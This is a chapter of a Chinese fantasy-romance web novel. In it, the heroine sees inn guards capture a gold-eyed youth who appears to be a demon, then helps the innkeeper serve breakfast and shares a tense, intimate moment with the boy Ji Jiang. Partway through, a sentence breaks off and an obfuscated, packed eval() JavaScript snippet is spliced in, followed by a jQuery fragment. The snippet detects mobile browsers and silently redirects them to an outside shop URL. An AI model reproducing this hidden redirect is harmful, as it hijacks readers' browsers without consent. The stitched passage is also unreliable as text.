少年的双眸在黑暗中宛如宝石一般散发着幽幽的金色光芒,就这样一眨不眨地盯着她,她也被这对眸子震慑在原地。
直到身后追兵已至,少年回过头,容青弃才意识发生了什么。
“你这畜生,再跑,老子扒了你的皮!”
几个壮汉将刚才被破坏的门洞挡个严实,准备瓮中捉鳖。
为首的男人气喘如牛,提着一盏小灯,指挥着手下人上去包抄。
容青弃想尽量降低自己的存在感,要是有人向她追究起来,可真的会牵连好心的大叔和整个驿站。
偏偏有人不允许她置身事外。
少年身法灵活,不过几个躲闪,便轻易避开了所有冲上来的壮汉,然后轻巧地缩在了她的身后。
?
容青弃并不知道这是哪里来的少年,也不知道他和这些汉子有什么过节,但是可不可以不要这么轻易就把陌生人拖下水啊!
云悄然遮住月光,让这处驿站陷入到更昏暗之中。
方才下命令的男人手上提着的是这房间里唯一的光源,在如此昏暗狭窄的地界里,显得尤为刺眼。
一盏油灯分隔开了明暗两界,容青弃看不清灯后人的神情,但她清楚的知道,这些人看到这驿站里出现了陌生人,必定是惊疑的。
更别说正是剑拔弩张的时候,有个麻烦精主动缠上了自己,现在就是长了八百张嘴都不一定能说得清楚。
容青弃正思考着如何撇清自己,最起码不连累驿站,身后的少年似有所感,轻轻晃晃她的袖子,身体贴上她的后背。
这一操作直接把人弄得脸都烧了起来,几乎是下意识就弹跳起飞。
她惊奇地回头,却只看到少年的双眸变成竖状,哪怕已经在尽量装可怜,但看着还是骇人。
“你是什么人?还不快报上名来?”
男人有些不耐烦,打断了两人之间微妙的气氛。
“我......”容青弃回过神,紧张地吞口唾沫,不知道怎么回答才天衣无缝。
“这位大人,这位大人!”大叔摇着抱拳的两只手,满脸歉意地从几个壮汉中间挤进房里来。
“大人,她是我最近才找的帮工,还没教好,时间仓促,怕她笨手笨脚的怠慢了贵客,就没让她出来。”
大叔脸上挂着略带讨好的笑,男人皱着眉,在他那张老脸上来回逡巡,将信将疑。
这番解释其实很难让人信服,只是这些汉子前些日子一直舟车劳顿,今天还要忙里忙外地确保护送的大人物的安全,毕竟队伍一旦从流动变成固定,就很容易被盯上,遇到刺杀的概率也更高。
因此,一直到现在,他们都没有正儿八经地休息过,好不容易伺候那位歇下,以为能喘口气,谁知道大人物养的小宠物又到处乱跑,兄弟们又得加班加点。
所以没人想再节外生枝,她左右看起来不过是个弱女子,又不是刺客什么的,倒也不必过分放在心上。
少年还想向她求助,下一刻那帮汉子便各自举着一根看上去很特殊的绳索扑了上去。
他还想翻窗,奈何那些绳子毫不留情地套在了他的脖子和四肢上,伴随着一声夹杂着不甘和惊恐的凄厉惨叫,少年被压倒在地,挣扎几下之后便不动了。
夜重归安宁。
“不知道这是什么时候?大人舟车劳顿到这里,既然有人,为何不叫出去伺候着?我看你这把老骨头是糊涂了,我们这几十号人,是你和那黄毛小子伺候得过来的?”
“是是,大人教训的是......”大叔依旧点头哈腰,不敢忤逆半分。
“得,弟兄们也累了,既然这牲口抓到了,就好生锁着,免得再节外生枝惹大人不快。”
这些人像是来的时候那样,依旧急匆匆地离开了。
“给您添麻烦了。”容青弃抱歉道。
“没事,你明天到前面来帮忙吧。”
大叔满脸疲惫,双手背在身后走了。
己绛白天的时候用了竹叶青给的药,现在睡得昏昏沉沉,方才的动静丝毫没有影响到睡眠。
容青弃看着满地破碎的门的碎屑,深深叹了口气。
不过方才的少年,似乎是妖,那样奇异的眼瞳,并不是人类能有的。
但是录妖珠完全没有反应,她有些怀疑自己是不是看错了。
今晚只能将就着过去了。
......
出门在外多年,要时刻警惕周围可能出现的各种危险,因此长年累月下来觉就变少了许多。
晚上左右没睡好,起来的时候还浑身酸痛,此时天还未亮。
在房里时便已经听到了斧头劈柴的声音。
容青弃整理好衣服,踏出门去,见阿姜一斧一斧地劈砍柴火,主动走过去帮忙。
“我来吧。”
小小的少男并不搭理她,反而给木头转了个方向,背过她去继续抡圆了斧头。
她现在真是有些后悔,明明早知道这小子脾气跟茅坑里的硬石头一样臭,自己还不知天高地厚地凑上来。
但是一个成熟的大人怎么会和小孩子计较呢?
容青弃只是微微一笑,转身瞧见水缸里的水见了底,四下找了两只木桶,到井口打水。
天热,用水肯定是紧张些,既然要帮忙,就尽量多帮着干些体力活。
一桶接着一桶,很快填了半缸子的水,天开始微微冒亮,厨房窗子里开始往外飘起炊烟。
香味很快就散了出来,立马勾起人的馋虫。
容青弃打算先停下休息一会,现在还不是很热,但来来回回挑水跑也让人出了不少汗。
她一边拭汗,一边透过厨房大敞的窗户看着里面颠锅时带起的火舌。
马上就是该用早膳的时辰,昨日来的最起码也有二十几号人,大叔一个人掌勺做这么多人的饭,轮勺轮得汗液从脖根往下淌。
他穿着一件背心,此刻被汗液浇得浑身湿透,面颊酡红,哼哧哼哧喘气。
“阿姜!把菜摆上!”菜肴出锅,最底下的菜汁被均匀地浇盖在菜顶,呼呼地冒着热气。
沉重的斧头一下接着一下,并未有停下来的意思。
少年的沉默让大叔又接连喊了几遍,仍旧没有任何回复。
就在男人准备抡着汗巾出门呵斥这没礼貌的男孩时,容青弃及时挤进厨房里。
“我来!”
容青弃动作勤快,一手端一个,毫不含糊。
“当心着烫手!”大叔嘱咐道。
向来温和的男人此刻也正烦闷,天本来就热,闷在厨房里闷出一身粘汗,家里的小子也不知道又在闹什么脾气,叫几遍都不搭理人。
但是看孩子劈柴劈得脖子粗红,还有和那个人一样有情绪就挂在脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663470|207221||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上的模样,又什么指责的话都说不出来。
所有的一切最终都化作一声压抑的叹息。
等全部的菜都上齐,客栈里的人也都起床洗漱完毕。
大叔懂规矩,所有的菜都做了五桌的量,还有那位大人单独用的,也都准备妥帖。
“老董,这几天马全都要好生喂着,若是到时候出了什么问题,当心叫你吃苦头!”
说话的正是这帮人里管事的,一面打开董大叔手里专门为大人准备的食盒检查,一面还不忘教训人。
“是是,不敢怠慢。”
“行了,给我吧,这大人的膳食啊,一定要仔细了。”
管事的男人嗓音尖细,又带着一种特别难听的官腔,总让人觉得不大舒服。
趁着他们吃饭,董大叔把容青弃拉到门口,低声:“趁着他们现在吃饭,你去厨房打些菜回去。”
容青弃点点头,现在也不是客气的时候,己绛从昨天下午开始什么都没吃,加上生病,身体扛不住。
......
回到房间之后,己绛正坐在桌前,托着脸颊发呆。
听到动静,他才回头。
“阿珠,你去哪里啦?”嗓子虽然还有些沙哑,但已经比昨天好了太多,看到她进来,迈着小碎步就扑了过去。
膝盖上的伤也好了不少,但是还隐隐作痛,走起路来一颠一颠,容青弃也及时迎上去。
一股像是山茶花的清香随着己绛的动作扑面而来,又很快散去,她有些懵地晃晃脑袋,以为自己出现了幻觉。
其实不一定是幻觉,这样的香味,从前几日开始就偶尔闻到,奈何那段时间己绛总是无精打采,她没机会确认是不是只有自己才能闻到。
原本还以为是马车里的味道,现在看来,似乎是己绛身上传出来的。
抱着这样的想法,容青弃凑到他脖颈处轻轻嗅闻。
这还是她第一次主动......己绛的脸顿时烧成霞红色。
她的鼻息近在咫尺,带来若有若无的痒意,逼得他头晕目眩,一个没站稳,往后踉跄几步,下意识伸手揪住她腰间的衣服。
“阿......阿珠?”
“嗯......呼呼......”
己绛别过头去,努力将脖颈调整成最优美的弧度,感觉到阿珠盘的小发包碰到了自己的下颌。
小心脏扑通乱跳,他忍不住放轻自己的呼吸,生怕惊扰到眼前人,更怕她下一秒就会重新同自己保持距离。
这是多么难得的近距离接触机会......放在腰间的手,有些控制不住......
可他还是强忍住了冲动,自己都没有发觉胳膊抖成了什么样子,硬生生地在碰到禁忌之前遏止了。
他很快发现自己不对劲,他发现,原本空落落的心里开始滋生各种各样的情绪。
熟悉的、陌生的、让人兴奋的......
现在的自己,喜悦和紧张交织,对方的这般行为越久,他越看不清自己在想什么,一些从未有过的感觉,从心脏处酥酥麻麻地蔓延到额头,让大腿发软,让胸腔震颤。
甚至是......一些莫名其妙的、恶意的、令他自己都害怕的东西,好像在慢慢刺透背上的肌肤,从身体里面,慢慢地绽放出来,无形地将他包裹,也同样在吞噬她。
......